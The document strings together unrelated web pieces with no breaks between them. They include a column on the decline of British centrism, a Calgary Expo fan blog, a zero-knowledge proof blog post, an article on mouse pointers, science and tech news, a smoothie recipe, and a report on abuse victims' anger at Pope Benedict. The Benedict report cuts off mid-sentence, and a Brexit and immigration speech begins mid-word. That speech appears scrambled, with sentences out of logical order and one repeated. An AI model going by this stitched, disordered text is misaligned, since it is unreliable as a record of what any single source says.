Is centrism now discredited and defeated? To many observers, it looks that way. A recent collaboration between the Social Market Foundation and the pollsters Opinium is entitled “Dead Centre” and remarks “after a long referendum campaign focused on sovereignty and immigration, the Leave vote, the demise of Cameron’s political project, the failure of the Liberal Democrats to mount much of a comeback and the resilience of Corbynism and Scottish nationalism, the centre looks barren”.
Whatever anyone thinks of Jeremy Corbyn, no one would ever call him centrist. On Saturday, he will be re-elected as Labour leader. His team radiate confidence that he will win and win well. Supporters of his challenger, Owen Smith, sound resigned to defeat. That result will not be reflective of the wishes of Labour MPs who triggered the challenge when 172 of them declared they had no confidence in his leadership. Nor will it be a result that pays heed to the party’s dire poll ratings.
Jeremy Corbyn makes conditional peace offer to hostile Labour MPs Read more
What it will show is how the Labour party has been transformed. There are all sorts of complicated reasons why Mr Corbyn will win. Then there is the straightforward explanation: the Labour electorate has become a lot more leftwing. Its membership began to shift left under Ed Miliband, moved further that way after the 2015 defeat and this process has accelerated over the past 12 months. There is evidence that Mr Smith has done well among people who were party members before 2015, but the gains he has made among that group have been matched – more than matched, most likely – by the support for Mr Corbyn from those who joined the party since he became leader. The chasm between a broadly centrist parliamentary party and a much more leftwing membership has grown even wider.
Over on the Conservative side of the ledger, people are still trying to get a precise ideological fix on Mrs May. She has revived the cabinet career of Liam Fox, a hardline Brexiter, but she has also promoted One Nation Tories such as Damian Green and David Lidington. She has made noises about corporate governance which sound leftwing coming from a Tory prime minister while indicating right in other policy areas. The ingredient that is bound to be the strongest flavour in the character of her government is withdrawal from the EU, bringing to fruition the dream of the Tory right.
Between a Brexiteering Conservative government and Corbynista Labour, there are acres of unoccupied political real estate. This looks like an opportunity for the Lib Dems, who have historically prospered when the two major parties have moved off the centre. The Lib Dems have begun their conference in Brighton by boasting that they’ve been putting on members, but their poll rating is stuck at a level no better than their vote share at the last election. Memories of the coalition are too fresh for them to revive their pre-2010 role as a vehicle for protest. Their leader, Tim Farron, occasionally casts come-hither glances at Labour MPs, but they don’t see the Lib Dems as a place of refuge. Mr Farron and his small parliamentary band are struggling to make themselves heard. “You can only do so much with eight MPs,” laments one of them.
Centrists blithely assumed their internationalist, tolerant instincts were so obviously correct, they had to prevail
Their former leader, Nick Clegg, gamely speculates that politics has become so volatile and Brexit will be such a horrendous mess that the Lib Dems could be back in office sooner than anyone thinks as part of a “Government of National Unity”. His optimism is endearing but not widely shared. Most think that the road back for the Lib Dems will be the slow and hard one of gradually rebuilding their base in local government while hoping for a parliamentary byelection sensation here or there. One senior figure in the party describes it as “the work of a generation”. Paddy Ashdown has concluded that the party he used to lead isn’t capable of resurrecting liberal centrism by itself. So he has founded a campaign group called More United which hopes to recruit support from across parties.
Before there can be a revival, advocates of liberal centrism first have to work out why and where it went wrong. One way of thinking is that it was undone by the mistakes of individuals. Tony Blair’s reputation never recovered from the Iraq war. David Cameron blundered into Brexit. Nick Clegg failed to tell a persuasive story about the coalition government and his role in it.
A less comfortable explanation for liberal centrists is that there were some fundamental flaws in their creed and how they applied it in power. They won elections by promising to be best at delivering prosperity combined with social justice, a formula which broke down when economic times got rough and nasty choices had to be made.
Liberal centrists have been guilty of hubris. One of their shared assumptions was that free trade was always a good thing, which meant that globalisation would be wonderful for everyone and, even if it wasn’t, it was too powerful to be resisted. Tony Blair didn’t forsee the blowback against a permissive immigration policy and nor did his counterparts across the EU. David Cameron tried to exploit discontent about immigration but only made it worse by making promises to curb labour flows that he couldn’t keep.
They blithely assumed that their cosmopolitan, internationalist, tolerant instincts were so obviously correct, so patently rational, that they had to prevail. They couldn’t believe Britain would vote to leave the EU – and are still struggling to come to terms with a referendum result that rejected their entire world view. They largely became defenders of the status quo – and that status quo was widely held to favour elites – in a period of rising rage against anything that could be construed as the “establishment”. That created a fertile climate for insurgents preaching left, right and nationalist populisms. The centrists were slow to spot and respond to the rise of identity politics, whether it came in the guise of Ukip or the form of the Scottish nationalists. These insurgent forces sounded authentic and passionate where centrists too often came over as bloodless and manageralist. It may be of some consolation, but that is all it is, that this has happened to the traditional governing parties of the centre-right and centre-left across the developed democracies.
Centrist leaders were adept at winning elections in their era of dominance but never so good at enthusing supporters who chafed at the compromises involved. One of the things Mr Corbyn indisputably represents is a backlash against Blairism. Mrs May is probably right to calculate that her party never felt all that warm towards Mr Cameron.
And yet. Liberal centrism prospered because it was attractive to a critical mass of voters. They liked governments that sounded moderate, acted pragmatically and weren’t too heavy with ideology. Many voters still want that. When asked to place themselves on the political spectrum, nearly half of the electorate still self-identifies with the centre.
The centre is not dead. It is dazed and confused. It needs fresh ideas and more engaging ways of expressing itself. It will get its voice back one day.Last updated: March 25, 2017.
Squee! The Calgary Comic and Entertainment Expo just keeps getting bigger and better every year! I love seeing this Calgary event grow into such a cultural force locally, nationally and even internationally. It isn’t often that Calgary gets visited by so many celebrities all at once, but the Calgary Expo provides the perfect opportunities to see all your favourite cult stars from comics, TV, film and more. The Calgary Expo is a four-day affair running April 27 -30, 2017. They will be bringing tons of guests to the show and I’m a total fangirl of so many of them. Here’s who I’m excited to see this year:
James Marsters – Buffy the Vampire Slayer
As an eternal Buffy fan, I will never forget all the life lessons I learned from this show during my pivotal teen years. This year’s 20th anniversary of the series has had me fondly remembering all my favourite episodes and characters. Oddly enough, I was both Team Angel and Team Spike – is that even allowed? Buffy’s enemy/lover/friend/ Spike had the most compelling character arc through the series and James Marsters played that through beautifully.
Bob Morley – The 100
The 100 is one of my favourite shows on TV right now and I Netflix it like mad every week. Bob Morley’s Bellamy Blake has been a key character from the beginning and I so hope they don’t kill him off like every other character!
Linda Larkin – Aladdin
The voice of Princess Jasmine is going to be in Calgary! This woman literally opened up a whole new world for me as a child.
Millie Bobby Brown – Stranger Things
Eleven, Eleven, Eleven! Riding the wave of such an enormously popular show, I’m curious to see how this young actress is handling her newfound and incredibly deserved success.
Rider Strong and Will Friedle – Boy Meets World
Who didn’t watch TGIF back in the day? Because staying in on a Friday night was the totally cool thing to do. But as much as I am happy to see Shawn and Eric, I really want to know what happened to Topanga!
Kristen Lester – Finding Dory
As one of the few female creator guests, I’d love to hear more about her life in the animation studios of Pixar.
Wallace Shawn
Last, but not least, character actor Wallace Shawn has brought me so much joy as Vizzini, Mr. Hall, and Cyrus Rose. But his voice work as Rex the dinosaur in the Toy Story movies is what I enjoy most of all.
My awesome friends at the Calgary Expo want to send one of my lucky readers to the show with a pair of 4-day Expo passes! I’m giving you a ton of ways to enter so you can up your chances of winning. Be sure to answer the trivia question below as well as check out my Instagram, Facebook and Twitter for more chances to win. This contest is open to anyone in Canada – however, the prize is only the passes so you’re on your own for travel and accommodations. Good luck!We recently had our annual conference for the Academic Centres of Excellence in the UK and I am proud that Jonathan Bootle from UCL won the PhD student elevator pitch competition. I’ll now hand over the rest of the blog post to Jonathan to explain the communication reduction technique for zero-knowledge arguments he presented.
— Jens Groth
In zero-knowledge arguments, a verifier wants to check that a prover possesses secret knowledge satisfying some stated conditions. The prover wants to convince the verifier without disclosing her secrets. Security is based on cryptographic assumptions, like the discrete logarithm assumption. In 1997, Cramer and Damgård produced a discrete log argument requiring the prover to send N pieces of data to the verifier, for a statement of size N. Groth improved this to √N in 2009 and for five years, this was thought to be the best possible. That is, until cryptographers at UCL, including myself, discovered an incredible trick, which shattered the previous record. So how does it work?
The first step is to compile the statement into the correct format for our protocol. Existing compilers take practical statements, such as verifying the correct execution of a C program, and convert them into a type of circuit. We then convert this circuit into a vector equation for the verifier to check. A circuit of size N produces a vector of size roughly N. So far, so good.
We also need use a commitment scheme, which works like a magician’s envelope. By committing to a hidden value, it can be fixed, and revealed later.
In previous works in the discrete logarithm setting, the prover commits to the vector using a single commitment.
Later the prover reveals the whole vector. This gives high communication costs, and was a major bottleneck.
We discovered a rare and extraordinary property of the commitment scheme which allowed us to cut a vector in half and compress the two halves together. Applying the same trick repeatedly produces a single value which is easy to send, and drastically reduces the communication costs of the protocol.
We begin with a vector of roughly N elements. If we repeatedly cut the vector in half, it takes log(N) cuts to produce a vector containing only a single element. Each time that the prover cuts a vector in half, they must make new commitments to enable the verifier to check the shorter vectors produced. Overall, roughly log(N) new commitments are produced, so the prover must send about log(N) values to the verifier. This is a dramatic improvement from √N. To put this in perspective, doubling the size of the statement only adds a constant amount of data for the prover to send.
Of course, it is possible to base security on other cryptographic assumptions, but other efficient protocols often use very strong and untested assumptions which have yet to receive a high level of scrutiny. By contrast, the discrete logarithm assumption has been used and studied for over three decades.
Is this just a theoretical advance? Far from it. Our protocol has a working Python implementation, which has been extensively benchmarked. By combining our code with the compilers that I mentioned earlier, we verified the correct execution of C programs. By sending under 7kB of data each time, we can verify matrix multiplications, simulations of the motion of gas molecules, and SHA-1 hashes. It’s nice to see theory that compiles and works.
The full paper is by Jonathan Bootle, Andrea Cerulli, Pyrros Chaidos, Jens Groth and Christophe Petit and was published at EUROCRYPT 2016.Common pointer types (enlarged)
In computing, a pointer or mouse cursor (as part of a personal computer WIMP style of interaction)[1][2][3] is a symbol or graphical image on the computer monitor or other display device that echoes movements of the pointing device, commonly a mouse, touchpad, or stylus pen. It signals the point where actions of the user take place. It can be used in text-based or graphical user interfaces to select and move other elements. It is distinct from the cursor, which responds to keyboard input. The cursor may also be repositioned using the pointer.
The pointer commonly appears as an angled arrow (angled because historically that improved appearance on low resolution screens[4]), but it can vary within different programs or operating systems. The use of a pointer is employed when the input method, or pointing device, is a device that can move fluidly across a screen and select or highlight objects on the screen. In GUIs where the input method relies on hard keys, such as the five-way key on many mobile phones, there is no pointer employed, and instead the GUI relies on a clear focus state.
Appearance [ edit ]
wait cursor replaces the pointer with an hourglass. cursor replaces the pointer with an hourglass.
The pointer "hotspot" is the active pixel of the pointer, used to target a click or drag. The hotspot is normally along the pointer edges or in its center, though it may reside at any location in the pointer.[5][6]
In many GUIs, moving the pointer around the screen may reveal other screen hotspots as the pointer changes shape depending on the circumstances. For example:
In text that the user can select or edit, the pointer changes to a vertical bar with little cross-bars (or curved serif-like extensions) at the top and bottom — sometimes called an "I-beam" since it resembles the cross-section of the construction detail of the same name.
When displaying a document, the pointer can appear as a hand with all fingers extended allowing scrolling by "pushing" the displayed page around.
Graphics-editing pointers such as brushes, pencils or paint buckets may display when the user edits an image.
On an edge or corner of a window the pointer usually changes into a double arrow (horizontal, vertical, or diagonal) indicating that the user can drag the edge/corner in an indicated direction in order to adjust the size and shape of the window.
The corners and edges of the whole screen may also act as hotspots. According to Fitts's law, which predicts the time it takes to reach a target area, moving mouse and stylus pointers to those spots is easy and fast. As the pointer usually stops when reaching a screen edge, the size of those spots can be considered of virtual infinite size, so the hot corners and edges can be reached quickly by throwing the pointer toward the edges. [7] [8]
While a computer process is performing tasks and cannot accept user input, a wait pointer (an hourglass in Windows before Vista and many other systems, spinning ring in Windows Vista and later, watch in classic Mac OS, or spinning pinwheel in macOS) is displayed when the mouse pointer is in the corresponding window.
When the pointer hovers over a hyperlink, a mouseover event changes the pointer into a hand with an outstretched index finger. Often some informative text about the link may pop up in a tooltip, which disappears when the user moves the pointer away. The tooltips revealed in the box depend on the implementation of the web browser; many web browsers will display the "title" of the element, the "alt" attribute, or the non-standard "tooltips" attribute. This pointer shape was first used for hyperlinks in Apple Computer's HyperCard.
In Windows 7, when Windows Touch was introduced in the mainstream to make Windows more touch friendly, a touch pointer is displayed instead of the mouse pointer. The touch pointer can be switched off in Control Panel and resembles a small diamond shape. When the screen is touched a blue ripple appears around the touch pointer to provide visual touch feedback. When swiping to scroll etc., the touch pointer would follow the finger as it moves. If touch and hold to right click is enabled, touching and holding will show a thick white ring around the touch pointer. When this ring appears, releasing your finger would perform a right click. If a pen is used the left-click ripple is colourless instead of blue and the right-click ring is a thinner ring which appears closer to the pen tip making contact with the screen. A click (either left or right) will not show the touch pointer, but swiping would still show the pointer which would follow the pen tip. Also, the touch pointer would only appear on the desktop once a user has signed in to Windows 7. On the sign in screen the mouse cursor would simply jump to the point which is touched and a left click would be sent on a tap, similarly to when touch input is used on operating systems prior to Windows 7.
In Windows 8 and above, visual touch feedback displays a translucent circle where the finger makes contact with the screen, and a square when attempting to touch and hold to right-click. A swipe is shown by a translucent line of varying thickness. Feedback can be switched on and off in Pen and Touch settings of the Control Panel in Windows 8 and Windows 8.1 or in the Settings app on Windows 10, and feedback can also be made darker and larger where it needs to be emphasised, such as when presenting. However, the touch pointer is normally less commonly visible in touchscreen environments of Windows operating systems later than Windows 7.
The mouse-over or hover gesture can also show a tooltip, which presents information about what the pointer is hovering over; the information is a description of what selecting an active element is for or what it will do. The tooltip appears only when stationary over content. A common use of viewing the information is when browsing the internet to know the destination of a link before selecting it, if the URL of the text is not recognisable. When using touch or a pen with Windows, hovering when supported or performing a set gesture or flick may show the tooltip
Pointer trails and animation [ edit ]
An example of mouse pointer trails.
Pointer trails can be used to enhance its visibility during movement. Pointer trails are a feature of GUI operating systems to enhance the visibility of the pointer. Although disabled by default, pointer trails have been an option in every version of Microsoft Windows since Windows 3.1x.
When pointer trails are active and the mouse or stylus is moved, the system waits a moment before removing the pointer image from the old location on the screen. A copy of the pointer persists at every point that the pointer has visited in that moment, resulting in a snake-like trail of pointer icons that follow the actual pointer. When the user stops moving the mouse or removes the stylus from the screen, the trails disappear and the pointer returns to normal.
Pointer trails have been provided as a feature mainly for users with poor vision and for screens where low visibility may become an issue, such as LCD screens in bright sunlight.
In Windows, pointer trails may be enabled in the Control Panel, usually under the Mouse applet.
Introduced with Windows NT, an animated pointer was a small looping animation that was played at the location of the pointer.[9] This is used, for example, to provide a visual cue that the computer is busy with a task.[10] After their introduction, many animated pointers became available for download from third party suppliers. Unfortunately, animated pointers are not without their problems. In addition to imposing a small additional load on the CPU, the animated pointer routines did introduce a security vulnerability. A client-side exploit known as the Windows Animated Cursor Remote Code Execution Vulnerability used a buffer overflow vulnerability to load malicious code via the animated cursor load routine of Windows.[11]
Editor [ edit ]
A pointer editor is software for creating and editing static or animated mouse pointers. Pointer editors usually support both static and animated mouse cursors, but there are exceptions. An animated cursor is a sequence of static cursors representing individual frames of an animation. A pointer editor should be able to:
Modify pixels of a static cursor or of each individual frame in an animated cursor.
Set the hot spot of a static cursor or of a frame of an animated cursor. The hot spot is a designated pixel that defines the clicking point.
of a static cursor or of a frame of an animated cursor. The hot spot is a designated pixel that defines the clicking point. Add or remove frames in an animated cursor and set their animation speed.
Pointer editors are occasionally combined with icon editors, because computer icons and cursors share similar properties. Both contain small raster images and the file format used to store icons and static cursors in Microsoft Windows is similar.
Despite the similarities, pointer editors differ from icon editors in a number of ways. While icons contain multiple images with different sizes and color depths, static cursors (for Windows) only contain a single image. Pointer editors must provide means to set the hot spot. Animated pointer editors additionally must be able to handle animations.
See also [ edit ]An astrophysicist has launched a low-cost community peer-review platform that circumvents traditional scientific publishing — and by making its software open-source, he is encouraging scientists in other fields to do the same.
The Open Journal of Astrophysics works in tandem with manuscripts posted on the pre-print server arXiv. Researchers submit their papers from arXiv directly to the journal, which evaluates them by conventional peer review. Accepted versions of the papers are then re-posted to arXiv and assigned a DOI, and the journal publishes links to them.
By piggybacking on or 'overlaying' the arXiv repository, the journal should operate at a fraction of the cost of traditional publishers and will be free for both readers and authors, says journal founder and editor-in-chief, Peter Coles, an astrophysicist at the University of Sussex in Brighton, UK. He announced on 22 December that the journal was open for submissions. It will go live later this month, once its first papers have undergone review.
Development of the software that powers the journal's peer-review system was led by Arfon Smith, chief scientist at the popular code repository GitHub. Because the software is open-source and available at GitHub, Coles hopes that researchers in other fields will adopt the same platform to create their own open journals. “Just cross out 'astrophysics' and write 'condensed matter' or anything else, and you’ve got your open journal,” he says.
Similar overlay journals already exist in computer science and mathematics; Tim Gowers, a mathematician at the University of Cambridge, in the UK, launched one high-profile example, Discrete Analysis, in September. But the Open Journal of Astrophysics is thought to be the first of its type in physics. Gowers says he is excited that the platform behind it is open-source "since it potentially reduces the costs for others even further".
The overlay model
Coles believes that traditional journals and their associated costs are no longer needed in fields such as astrophysics and cosmology, because most researchers already both submit their work to arXiv and read papers on it.
“The only objection to just putting things on arXiv is that it’s not peer reviewed, so why not have a community-based effort that provides a peer-review service for the arXiv?" he says — pointing out that academics already carry out peer review for scientific publishers, usually at no cost.
Coles himself covered the costs of developing the software platform for the journal, amounting to a few thousand pounds, he says. (Discrete Analysis licenses different software and is helped by a grant from the University of Cambridge, UK.)
GitHub is covering the costs of hosting the platform, so the only remaining expense is editors’ and reviewers’ time, which they give up voluntarily, says Coles. If the experiment proves successful and the volume of papers balloons, the journal may eventually have to charge authors a handling fee of a few tens of pounds, he adds. (The journal also relies on the continued existence of arXiv, whose running costs amount to less than $10 per paper).
The journal does not have the resources to offer services provided by conventional journals, such as heavy editing of papers. Instead, poorly written articles will be rejected and the authors referred to a list of professional copy-editing services, Coles says.
Gaining traction
Gowers welcomes the new journal; the arXiv overlay model is much more likely to succeed, he says, if many examples of it can be seen to be working. The journal has amassed an editorial board with high-profile physicists including Pedro Ferreira, a theorist at the University of Oxford, UK, and Andrew Jaffe, a cosmologist at Imperial College London.
But astrophysicists will not necessarily jump to publish in Coles' journal. Ewine van Dishoeck, an astrophysicist at the Leiden Observatory in the Netherlands, says she, for one, is unlikely to submit her work there. "We have a small number of well established and high quality journals in astronomy that everyone respects," she says.
Papers in astrophysics are effectively open already, van Dishoeck points out, because anyone can view pre-print manuscripts immediately on the arXiv, while journals in the field make final accepted versions open after a delay — typically 12 months after publication. An issue for researchers can be slow peer-review of papers, she adds, but the Open Journal of Astrophysics has yet to prove it can be faster.
Whatever their costs, the main problems facing all new journals hoping to achieve traction among researchers are ensuring speed and editorial fairness, adds Andrew King, a cosmologist at the University of Leicester, UK. "Reliability — and particularly fairness — are very hard to guarantee," he says, pointing out that the backing of long-lived organizations with a stake in the future of a field, such as learned societies, is often crucial to a journal's success.Chinese electronics maker LeEco will have to wait until the new year to complete its $2 billion deal to buy TV maker Vizio, Recode has learned.
The deal, which was supposed to close this year, has won approval from U.S. regulators, but Chinese authorities have yet to give their blessing.
“We are awaiting regulatory approval in China,” a LeEco representative said in response to an inquiry from Recode. “We are hoping for early Q1.”
LeEco has been looking to the Vizio deal to give it added credibility and retail presence in the U.S. as it aims to rapidly grow its operations. The company has been looking to make a big splash here, acquiring Yahoo’s former Santa Clara campus for $250 million and hiring several top executives.
The company’s outspoken chairman, Jia Yueting, recently acknowledged, though, that the company had been growing faster than it could handle and promised to operate in a more sustainable way.
“No company has had such an experience, a simultaneous time in ice and fire,” Yueting said in a November memo, according to Bloomberg. “We blindly sped ahead, and our cash demand ballooned. We got over-extended in our global strategy. At the same time, our capital and resources were in fact limited.”
However, U.S. officials insisted at the time that the company was continuing ahead with both the Vizio purchase as well as its efforts to bring its existing TV and smartphone lineup to the U.S.
LeEco has since expanded beyond its own website to also sell through Best Buy, Amazon and Target.com.Prep Time: 5 minutes
Cook Time: 0 minutes
Who does not love avocadoes? Nowadays, many people understand the health benefits of consuming this delicious and versatile fruit. Even though it is used as a vegetable in many recipes, you can mix it with fruits and sweet spices to give it a nice, dessert flavor. This recipe allows you to consume this healthy fruit in a different way.
To make things even better, this smoothie packs a punch of nutrition as well as being a great breakfast on the go that keeps you full for a long time. The potassium in bananas and the healthy fats in the avocado ensure that you will be satiated for a few hours. It is also a great drink to take immediately after a workout.
If you would like to have a more liquid consistency, add an extra cup of milk alternative. But, do the recipe as it is first before making any changes to see if you like it. Then, if you prefer, make it more liquid.
So, go ahead and give it a go – try this wonderful, amazing, tasty and incredibly easy smoothie that will surely tantalize your taste buds!
This recipe makes four portions.
Ingredients:
2 bananas
1 large avocado
4 cups of milk alternative (I recommend almond or coconut milk here)
2 tablespoons of sweetener (raw cane sugar or agave syrup work well here)
2 tablespoons of cocoa powder *Optional: this makes it into a dessert drink
Preparation:
Peel and dice the fruits. Put all of the ingredients in a blender and blend until smooth. Serve fresh because the avocado may start to turn brown very quickly if you store the smoothie in the refrigerator.
On top of being filling, this drink will also give you a great boost of fiber (from the avocado) as well as a good quantity of calcium (from the milk alternative). There is also a non-negligible dose of protein in both the milk alternative and the avocado.
For an added plus, top with a fresh mint leaf, some cocoa powder and a cherry. Yum!
Enjoy!
Photo credit: flickr.comPope Benedict XVI 'knew more about clergy sex crimes than anyone else in church yet did little to protect children', say critics
For the legions of people whose childhoods and adult lives were wrecked by sexual and physical abuse at the hands of the Roman Catholic clergy, Pope Benedict XVI is an unloved pontiff who will not be missed.
Victims of the epidemic of sex- and child-abuse scandals that erupted under Benedict's papacy reacted bitterly to his resignation, either charging the outgoing pontiff with being directly complicit in a criminal conspiracy to cover up the thousands of paedophilia cases that have come to light over the past three years, or with failing to stand up to reactionary elements in the church resolved to keep the scandals under wraps.
From Benedict's native Germany to the USA, abuse victims and campaigners criticised an eight-year papacy that struggled to cope with the flood of disclosures of crimes and abuse rampant for decades within the church. Norbert Denef, of the NetworkB group of German abuse victims, said: "The rule of law is more important than a new pope."
Denef, 64, from the Baltic coast of north Germany, was abused as a boy by his local priest for six years. In 2003, Denef took his case to the bishop of Magdeburg. He was offered €25,000 (then £17,000) in return for a signed pledge of silence about what he suffered as a six-year-old boy. He then raised the issue with the Vatican and received a letter that said Pope John Paul II would pray for him so that Denef could forgive his molester.
"We won't miss this pope," said Denef. He likened the Vatican's treatment of the molestation disclosures to "mafia-style organised crime rings".
That view was echoed by David Clohessy in the US, executive director of SNAP (Survivors' Network of those Abused by Priests), an organisation with 12,000 members: "His record is terrible. Before he became pope, his predecessor put him in charge of the abuse crisis.
"He has read thousands of pages of reports of the abuse cases from across the world. He knows more about clergy sex crimes and cover-ups than anyone else in the church yet he has done precious little to protect children."
Jakob Purkarthofer, of Austria's Platform for Victims of Church Violence, said: "Ratzinger was part of the system and co-responsible for these crimes."
Under the German pope, his native country, Belgium, the Netherlands, and Austria were rocked by clerical sex-abuse scandals, triggering revulsion at the clergy in Europe just when Benedict saw his mission as leading a Catholic revival on a secular continent.
Before becoming pope, there were also major scandals in the US and Ireland at a time when Pope John Paul II had put the then Cardinal Joseph Ratzinger in charge of dealing with them.
A combination of deep rancour and disgust over the crimes and disaffection with the conservative ethics of the Catholic hierarchy has nudged the church in Austria towards schism, with rebel priests leading an anti-Vatican movement of hundreds of thousands, dubbed We Are The Church.
"He should have come clean about the abuses, but was not really able to change anything fundamentally," said Purkarthofer. "The resignation is a chance for real change, perhaps the best thing he could have done for the church."
While also intensely critical, some Irish victims of the seminaries, convent schools, and church-run orphanages gave the pope the benefit of the doubt, but lamented that not enough action had followed Benedict's expressions of remorse in the spring of 2010.
"When the pope issued his pastoral letter to the people of Ireland we welcomed it," said one Irish campaigner. "Because of the sincerity of the words in that letter from the pope in the name of the church. He said he was 'truly sorry' and accepted that our 'dignity had been violated'.
"So we went on to meet the group of bishops in Ireland thinking that this would be a new era. But what we got instead were pastoral platitudes and special masses offered up."
The fallout from these scandals continues to reverberate. Next Monday campaigners for justice are to protest in the ancient west German city of Trier when the country's church leadership gathers. Last month a church-sponsored inquiry into the abuses collapsed in disarray amid recrimination between the clergy and outside criminologists involved in the examination.
A similar situation persists in Austria, where a church-led inquiry into the abuse and compensation has degenerated, in the view of activists, into a smokescreen. In Belgium, where the head of the church nationally had to resign and then made matters worse by going on television to plead innocence while admitting "intimacy" by having boys in his bed, there are parallel frustrations with the partial nature of the church's openness.
A couple of years ago US activists sought to file a criminal suit against the Vatican at the international war crimes tribunal in The Hague, while victims' associations responded to the current drama by demanding an international commission be set up to examine Catholic paedophilia, independent of the church.i
Clohessy said a big question for Benedict's successor is "what he will do in a very tangible way to safeguard children, deter cover-ups, punish enablers and chart a new course.
"There are 30 bishops in the US [who] have posted on the diocese websites the names of predator priests. The pope should require bishops to do that and to work with secular lawmakers to reform archaic sex abuse laws so that predators from every walk of life face justice."
John Kelly, one founder of Ireland's Survivors of Child Abuse group and a former inmate at Dublin's notorious Artane Industrial School, which was run by the Christian Brothers, said Benedict had resisted their demands to properly investigate and disband religious orders tainted by sexual and physical abuse.
"In our view, we were let down in terms of promises of inquiries, reform and most importantly of all the Vatican continuing not to acknowledge that any priest or religious bodies found guilty of child abuse would face the civil authorities and be tried for their crimes in the courts.
"I'm afraid to say Pope Benedict won't be missed as the Vatican continued to block proper investigations into the abuse scandals during his term in office. Nor are we confident that things are going to be different because of all the conservative Cardinals he appointed. For us, he broke his word."
The Austrian campaigner called for church files on paedophilia to be opened and generous compensation for the victims.
Denef pointed to the discrepancies between the response in the US and in Europe, insisting that clergy suspects must be brought before the law.
"From our point of view, Ratzinger did nothing to support the victims. Instead, perpetrators and serial perpetrators were protected and moved to new jobs," he said.
"Victims in the US have been compensated sometimes with more than a million dollars and the personal files |
ises that there is no diversion possible from Brexit without addressing the grievances which gave rise to it.
There is a wide open space in British politics, a politics, for now, in thrall to Brexit.
Brexit was the instrument to force the political class to abandon its lassitude and wake up to the depth of the anger.
The worries about immigration are relatively easy to describe: there can be pressure on services within communities from an influx of refugees and migrants; downward pressure on wages in certain sectors; there are questions of cultural integration, especially when immigrants are from more conservative Muslim backgrounds; and there is anxiety that we don't properly control who comes here and who has a right to stay.
It cannot be ignored. It has to be de-constructed, analysed, broken down into component parts, re-ordered and reconstructed as viable policy.
This issue bedevils the politics of virtually every European country. It can destroy or elevate Governments. It agonises the left and tempts the right. It has produced new parties, new alliances of political affiliation and bitterly divides communities and generations.
It reaches out to ‘Leave’ voters to show their concerns are better met without the damage Brexit will do.
This is the space between Brexit At Any Cost and simple reversal of the referendum decision.
But if those of us warning about the consequence of Brexit turn out to be right, and it makes us poorer and weaker, the disillusion at a later point will be much more intense and the choices then much more ugly.
Can this strategy succeed? It’s unclear. The attack on it will be bitter and the charge of fostering disillusion will be fierce.
But if you don't, then at least try a different way, dealing with the anxieties behind Brexit with solutions which work; and steer the country away from the immense damage a Hard Brexit – and frankly there is no other on offer - will do.
If you genuinely believe Brexit is the right course, then do it.
But what is at stake is the future of our country. And that imposes a supreme political obligation.
There can be no change to Brexit unless we confront the underlying causes of it. This will involve uncomfortable choices for those opposed to Brexit.
But there is a way to listen and to lead.
So far ‘the will of the people’ expressed in the referendum has trumped the impulse for leadership.
Most senior politicians know this but feel trapped. If they follow the people down a path they believe is mistaken, they're not leading. If they drag them from that path against their will, they're not listening.
There is no discussion about Brexit which can set aside discussion of immigration.
Most people are not actually anti-immigrant.
They understand that we need some categories of migrant worker particularly the highly skilled; and they're not indifferent to the plight of genuine refugees.
But they believe we should have the right to control our own borders and that the system is fundamentally unsystematic.
So there is no discussion about Brexit which can set aside discussion of immigration.
The subject of this Institute paper is immigration from the European Union.
One preliminary point: my Government in 2004 did not invoke the transitional arrangements when East Europe joined the EU which would have delayed the freedom to work – though not freedom of movement – until 2011.
I could respond by pointing out that back then the economy was strong, the workers needed and actually the biggest annual numbers came post 2011.
But the real point is the times were different; the sentiment was different; and intelligent politics takes account of such change.
The paper is a comprehensive analysis of who comes, why and with what consequence.
It suggests ways in which we could limit or control freedom of movement without abandoning the basic principle.
It should be seen in contrast to the recent Home Office paper which if implemented would do significant economic damage to our country, deterring both the high skilled and low skilled workers we need.
It then goes on to place European immigration within the wider context of immigration as a whole and sets the scene for the next paper which will examine what a controlled immigration policy should look like.
The idea is to garner support for an immigration policy which reasserts control, allows us to reduce immigration sensibly and fairly, stops immigration undercutting wages and services; whilst making a virtue of immigration which is necessary and productive, and avoiding picking an arbitrary number and making it a Government policy.
The irony of the present situation is by focusing on European immigration, we are targeting the one group of migrants who clearly contribute more than they take.
There are particular issues over European immigration.
They may not be the only immigration concern or even the main one; but they can't be ignored. The paper shows, however, how they can be largely assuaged by measures within our own law or by negotiation with Europe.
The paper demonstrates clearly that most of those who come to Britain from other European countries, either have skilled jobs to go to; or are working in industries, where there is a shortage of British workers; or are studying; or are legitimate dependents.
Of those who come looking for work, we can estimate most find jobs in sectors like hospitality in the South of England.
The reality is that, after Brexit, we will need to encourage most of these categories to keep coming; otherwise we will do ourselves serious economic damage.
For this therefore to be a principal factor in the biggest decision Britain will take since World War 2 is irrational.
As the paper shows, we can curtail the things that people feel are damaging about European immigration, both by domestic policy change and by agreeing change within Europe to the freedom of movement principle, including supporting the campaign of President Macron on the Posted Workers Directive.
This is precisely the territory Labour Party should camp upon.
The Party’s recent shift to supporting a transition within the Single Market and Customs Union is greatly to be welcomed.
But it needs to be a step to a bigger one: keep freedom of movement but reform it; support the Single Market as a matter of principle together with its social protections; control overall immigration in ways which meet public anxiety but are true to our values; and then explain why Brexit is a distraction from the Tory failures, not a solution to them.
There is a progressive case for the Single Market and Enlargement.
Essentially for three decades or more, Britain, under successive Governments, has argued two big causes. The first was that Europe should concentrate on the economic gains Europe could bring to its citizens by creating a unique European Single Market where goods and services could be traded freely across borders. This required not only the absence of trade barriers but a single system of regulation so as to avoid the complicated bureaucracy associated with different standards and specification; and one adjudicating body namely the European Court.
Progressives in Europe also wanted a social dimension to Europe with protection for workers and so created the Social Charter, bitterly opposed by the Tories at the time.
The second cause was to ensure that following the fall of the Berlin Wall, Eastern European countries previously occupied by the Soviet Union, could be brought within the European family of nations, with their freedom and democracy guaranteed.
So Germany unified and the process of enlargement to the East was begun, with British leadership at the fore.
There was a price for this. As Europe enlarged, to help those former Soviet satellites develop, Western Europe paid through structural funds to support that development. Hence much of the so-called Brexit divorce bill.
So yes Britain pays net into Europe around £8bn a year as does France, Germany paying more; but bear in mind Britain’s annual trade with Poland alone has risen from just under £4bn in 2004 to over £13bn today.
Therefore imagine the feeling in Europe today when Britain wants to leave Europe on the basis of opposition to the rules of the Single Market; and because of the bill for enlargement.
This is the extraordinary position in which we have placed ourselves as a country.
If we go ahead with Brexit, we will have taken the unprecedented decision for a major country to relegate ourselves, like a top six Premiership side deciding to play exclusively in the Championship.
Other than President Trump, I can't think of a single leader of any of our major allies or partners who thinks this decision is anything other than self harming.
